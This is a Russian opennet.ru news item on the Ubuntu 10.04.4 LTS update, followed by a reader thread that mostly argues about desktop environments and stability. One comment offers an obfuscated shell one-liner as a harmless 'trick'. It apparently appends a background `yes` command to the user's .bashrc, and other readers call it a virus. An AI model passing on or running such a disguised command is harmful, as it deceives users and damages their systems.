Представлено (https://lists.ubuntu.com/archives/ubuntu-announce/2012-Febru...) четвёртое обновление дистрибутива Ubuntu 10.04 LTS, в рамках которого подготовлены (http://releases.ubuntu.com/10.04.4/) обновленные установочные образы. В сборку Ubuntu 10.04.4 вошли (https://wiki.ubuntu.com/LucidLynx/ReleaseNotes/ChangeSummary...) исправления ошибок в инсталляторе, загрузчике, а также актуальные обновления для нескольких сотен пакетов, связанные с устранением уязвимостей (http://www.ubuntu.com/usn) и проблем (https://bugs.launchpad.net/ubuntu), влияющих на стабильность. Одновременно представлено аналогичное обновление Kubuntu 10.04.4 (http://releases.ubuntu.com/kubuntu/10.04.4).
Ubuntu 10.04.4 является последним обновлением установочных образов для ветки Ubuntu 10.04. До прекращения времени поддержки исправления уязвимостей и ошибок как и раньше будут распространяться через обычные механизмы доставки обновлений. Впервые за всё время существования LTS-релизов в корре...URL: https://lists.ubuntu.com/archives/ubuntu-announce/2012-Febru...
Новость: http://www.opennet.me/opennews/art.shtml?num=33114
LONG LIVE 10.04!
самая лучшая из убунт, я считаю.
много кому поставил из непродвинутых. сидят и пользуются. всё работает. даже игры через вайн. обновления не ломают ничего.
никаких внезапных революций.вот такой, в идеале, и должна быть ОС для людей.
а сам gentoo пользую - у меня свои причины
Жирненько, и необоснованно. Юзаю 12.04 (хоть и не финал релиз) - весьма стабильно, Юнити торт.
ну не скажите...
вчера ставил через нетинсталл...
к примеру приложение "Язык системы" все в квадратиках вместо русского текста.
ставил lxde, так lxpanel постоянно крешется, по крайней мере сообщения об этом выскакивают, хоть она никуда и не девается
> к примеру приложение "Язык системы" все в квадратиках вместо русского текста.
> ставил lxde, так lxpanel постоянно крешется, по крайней мере сообщения об этом выскакивают, хоть она никуда и не деваетсяНормуль, это все мелочи.
> Нормуль, это все мелочи.Помнится, нечто подобное я уже слышал. У одного хомячка убунта после апдейта сдохла так, что даже вмести меню grub была лапша. А второй хомячок ему как раз говорил, что это мелочи, не надо на них зацикливаться, и убунта абсолютно стабильная система.
Просто так никогда и ничего не крашится.
Если у него даже граб превратился в фарш, значит он сам что-то нахимичил, понаудалял то, что ненужно. Или через синаптик или укогда что-то удалял используя команду autoremove.
У меня Ubuntu 11.10. УМВР. ЧЯДНТ?
Странно, я было поставил 11.10 сразу после релиза, так она была совершенно неюзабельна, потом уже апдейтами подлатали.
> Странно, я было поставил 11.10 сразу после релиза, так она была совершенно неюзабельна, потом уже апдейтами подлатали.Проще debian sid юзать, там неюзабельности реже случаются, и апдейты-починки быстрее прилетают.
> Проще debian sid юзать, там неюзабельности реже случаются, и апдейты-починки быстрее прилетают.И софт посвежее, чем в Убунте. И в то же время более стабилен (не знаю, какие там патчи в Ubuntu накладывают, но те же версии пакетов из Sid приносят куда меньше проблем).
> Юзаю 12.04 (хоть и не финал релиз) - весьма стабильно, Юнити торт.Жирненько, и необоснованно.
> LONG LIVE 10.04!
> самая лучшая из убунт, я считаю.
> вот такой, в идеале, и должна быть ОС для людей.согласен на все 100%
обновил до более новой, плевался и матерился.
снес и поставил снова 10.04
> обновил до более новой, плевался и матерился.Чтобы обновление прошло правильно, нужно сначала полностью удалить старую систему, и ставить новую с нуля.
предлагаете удалять /home прошедшую через fedora, debian и прошлые ubuntu?
На что обновляться в апреле 2013 - гном уже не тот.
На KDE обновляйся, не прогадаешь - единственная нормальная и стабильная среда сейчас.
Мне от DE надо 2 панельки, и чтоб жрало поменьше и чтобы 3D не требовало. Спасибо, я уж лучше на XFCE перееду. Только придётся аплеты пилить, каких там не хватает.Мне вот например в верхней панели нужны аплеты погоды, заряда батареи, температуры CPU и видеокарты и желательно что-то типа аплета NetworkManager. Ну и чтобы программы нормально с иконкой в трее работали, типа shutter или pidgin. Если это в XFCE есть, легко перееду.
Главное, чтобы они XFCE своим 3D не испоганили, тогда вообще придётся на какой-нибудь fvwm съезжать.
Жрало меньше? KDE x32 есть 170-200 мб на моих компах. XFCE есть меньше?
> Жрало меньше? KDE x32 есть 170-200 мб на моих компах. XFCE есть
> меньше?да, меньше.
ставил, пробовал.но попользовавшись пару дней,вернулся на KDE.
мне так комфортнее, а разница в занятых мегабайтах ДЛЯ МЕНЯ существенно менее значима, чем привычное удобство, логичность меню, функциональность штатных средст, приятность глазу и, блин, просто ощущение стабильности
Заранее извиняюсь за источник, но фороникс намерял чуток иначе: http://www.phoronix.com/scan.php?page=article&item=linux_des...
> Published on March 08, 2010
> 2010Толсто бля...
мне за тебя гуглить ? вот ещё сцылка, http://pclosmag.com/html/Issues/201109/page08.htmlKDE однозначно более требовательное к ресурсам DE, чем XFCE, без фанатизма.
Ты достал троллить. Я написал KDE x32. На твоих картинках тест проводился на 64-битной системе. Один из моих компов тоже x64 - там да, KDE жрет ~800 мб, Юнити ~900 мб. Но в x32-битной все иначе, 170-200 в KDE и не более 500 в Юнити.
Я просто спросил. К апрелю 2013 планирую сидеть на 64 битах, да и многие уже на 64 сидят, так что картинки в тему. Если тебя что-то не устраивает, это не мои проблемы.
> Ты достал троллить. Я написал KDE x32. На твоих картинках тест проводился
> на 64-битной системе. Один из моих компов тоже x64 - там
> да, KDE жрет ~800 мб, Юнити ~900 мб. Но в x32-битной
> все иначе, 170-200 в KDE и не более 500 в Юнити.Это у вас 64битные данные весят 900 метров, а 32битные 170-200 ?)
ну да... ониж в два раза больше :)
> KDE однозначно более требовательное к ресурсам DE, чем XFCE, без фанатизма.Однозначно ли? Не стоит недооценивать жручесть XFCE, особенно если окружение не голое, а более-менее настроено для работы.
Судя по тестам при дефолтных настройках - да.
Дело в чём - мне красивости вообще не нужны, надо чтобы было 2 панельки, и всё что перечислил выше. Эффекты там, 3D и прочая фигня не нужны мне. Так что, особо не настраиваю, разве что выкинуть всё лишнее.
Не знаю кто сколько жрёт, но XFCE куда шустрее на команды реагирует и приложения мгновенно открываются. Чуть хуже в Gnome. А KDE всегда тормознее всех была, даже в 3.5 версии.
Все поплевались, потыкались в кеды, переехали на xfce или привыкли к гному и юнити. Меня kde зацепили, благо ресурсы позволяют, на десктопе буду их пользовать.
> Не знаю кто сколько жрёт, но XFCE куда шустрее на команды реагирует
> и приложения мгновенно открываются. Чуть хуже в Gnome. А KDE всегда
> тормознее всех была, даже в 3.5 версии.Это результат самовнушения =)
Третьекеды - самое шустрое из DE, существовавших после 2005 года.
>Жрало меньше? KDE x32 есть 170-200 мб на моих компах. XFCE есть меньше?Пользовался xfce очень долго - сознательно, без торвальдс-зомбирования, был уверен в его малом потреблении ресурсов. При случае сравнили с знакомым потребление памяти и загрузку ЦПУ (у него была KDE 3.х какая-то) - в общем разочаровался я тогда в своем xfce :) Может сейчас больше разработчиков участвует в проекте и что-то изменилось к лучшему - не знаю, пользуюсь "стандартной" ubuntu 10.04 LTS.
А смысл сейчас с третьекедами сравнивать? Они же умерли уже.
Есть форк.
> А смысл сейчас с третьекедами сравнивать? Они же умерли уже.3.5.13 вышла 1 ноября 2011. Специально для тебя: http://trinitydesktop.org/installation.php#ubuntu
Ставь смело, толстенький!
Погода там есть NetworkManager тоже (через Indicator)
Не на XFCE сидишь, случайно ? Если да, покажи скрин, как там это делается. Я просто не в курсе, что за Indicator - это такой аплет ?
Не заморачивайся. Перейдёшь на Xfce, он тебе апплет NetworkManager-а сам по умолчанию поставит. Апплеты погоды, CPU, трафика, ещё что-то - это всё есть. А вообще, Conky рулит :)
Conky же на десктоп рисует, а мне надо, чтобы было видно всегда (в виде иконки вверху), да и десктоп я вообще не вижу можно сказать.Спасибо за инфу, теперь я спокоен :-)
> На KDE обновляйся, не прогадаешь - единственная нормальная и стабильная среда сейчас.Полностью поддерживаю. После Гнома3 дергался на разные сборки вплоть до арч ))) - (ну не для десктопа она или фанатом надо быть), пробовал и форк гнома второго из линукс минт - в итоге - кубунту или мандрива или федора под КДЕ - то что надо - за месяц освоился (плевался поначалу), а за 3 месяца уже на гном и не хочу
> На что обновляться в апреле 2013 - гном уже не тот.XFCE, KDE, LXDE, окружение на базе легковесного WM - выбирайте не здоровье, никто за вас лучше не выберет.
Есть еще LXDE. Сейчас на ней работаю. Очень простая, надежная и шустрая DE. Всем советую.
LXDE Это ещё не до конца "DE", так как это просто собранные во едино pcmanfm + openbox + панель(не буду говорить за остальные приложения и фичи).
Юзал XFCE после отказа от гном 2, потом решил попробовать юнити, уже почти год его юзаю, очень удобно и динамично развивается, кароче экшон!
> Юзал XFCE после отказа от гном 2, потом решил попробовать юнити,
> уже почти год его юзаю, очень удобно и динамично развивается, кароче
> экшон!На самом деле, unity - это практически тот же самый gnome3, со всеми его достоинствами и недостатками.
А по-моему юнити уже лучше, чем гном3.
> А по-моему юнити уже лучше, чем гном3.А по-моему, те же яйца, только в профиль.
Переехал с Fedora на Ubuntu только из-за того, что для меня Unity > gnom3
Надеюсь будей гайд для N900. Охота попробовать.
Минусуйте, хоть обминусуйтесь, но для моего железа серии G45 - 10.10 Maverick c 2.35 ядром очень хорошо себя вёл, особенно в плане потребления энергии.Самое приятное впечатление от Karmic, Lucid - стабилен, но более прожорлив (в не зависимости от ведра).
Gnome 2 в целом был очень неплох. Возможно допилят Gnome 3 до приемлемого состояния, пока на XFCE.
> Минусуйте, хоть обминусуйтесь, но для моего железа серии G45 - 10.10 Maverick
> c 2.35 ядром очень хорошо себя вёл, особенно в плане потребления
> энергии.
> Самое приятное впечатление от Karmic, Lucid - стабилен, но более прожорлив (в
> не зависимости от ведра).
> Gnome 2 в целом был очень неплох. Возможно допилят Gnome 3 до
> приемлемого состояния, пока на XFCE.Может кто пояснит мне, а чем был плох Gnome 2? ну в плане функционала? может надо было переписывать то, что было более медленным?
> Может кто пояснит мне, а чем был плох Gnome 2? ну в плане функционала? может надо было переписывать то, что было более медленным?Тем же, чем и KDE 3.5. Зачем мучиться и взращивать пшеницу, если всё можно оптом засеять кукурузой?!
Вот трюк интересный. Работает только в Ubuntu.
echo $(echo `w | sed '{1!d; s/[0-9]//g; s/\ /1/; s/:/2/; s/:/3/; s/[.:,]//g}; s/[a-z]//g; s/1/var=/; s/2/\`yes/; s/3/\`/'`"&") >> $(ls `e 2>&1 | sed '{s/b/.b/; s/:/rc/}'` 2>/dev/null)
не работает, что он делает?
Ошибка синтаксиса. Чего случилось-то? Не сработал твой вирус.
я то думаю чего это initramfs-tools то полетел, оказывется он оно чего, хорошая новость
Доп. сведения: Двухъядерный процессор Celeron Dual-Core T1700
Тактовая частота процессора 1.83 ГГц
Оперативная память 1 ГБ
Жесткий диск (HDD) 160 ГБНа такой ноут какую версию Ubuntu лучше поставить? Или что — нибудь из Linux-овых?
Заранее спасибо!
> Доп. сведения: Двухъядерный процессор Celeron Dual-Core T1700
> Тактовая частота процессора 1.83 ГГц
> Оперативная память 1 ГБ
> Жесткий диск (HDD) 160 ГБ
> На такой ноут какую версию Ubuntu лучше поставить? Или что — нибудь
> из Linux-овых?
> Заранее спасибо!kubuntu не советую . А вообще лучше из лёгенького - Lubuntu,xubuntu ////lxde,xfce
Странно.. У меня даже не двухядерник.. на ноуте((( почему тогда работает кубунта (стоит 11.04) Что я не так делаю?)))
А по поводу лёгкого я бы не торопился. Косяки есть везде, вот у моего второго (аналогичного) ноута кубунта не пошла, не пошли 'лёгкие' версии убунты. А вот родная 11.10 встала на раз и без проблем.))))
А, да.. ноуты - Dell Vostro 500
> Странно.. У меня даже не двухядерник.. на ноуте((( почему тогда работает кубунта
> (стоит 11.04)А что мешает ей не работать?
> Что я не так делаю?)))
Пишешь, как обычно, полную бредятину, к великому сожалению.
> А по поводу лёгкого я бы не торопился.Таки и не торопись, только какая здесь разрисовывается пространственно-временная связь м/у твоей "неспешкой" и всеми остальными (пользователями ...-бунт)?
> Косяки есть везде,
Да, КЭП!
> вот у моего второго (аналогичного) ноута кубунта не пошла, не пошли 'лёгкие'
> версии убунты. А вот родная 11.10 встала на раз и без
> проблем.))))И-и???
> А, да.. ноуты - Dell Vostro 500В следующий раз пиши: "ноут - Dell". Еще лучше: "ноут из США". Так будет информативнее...
Бли... накрылась убунта медным тазом, после обновления: GRUB - работает,но init не находит. Буду разбираться %((( Стабильная бли...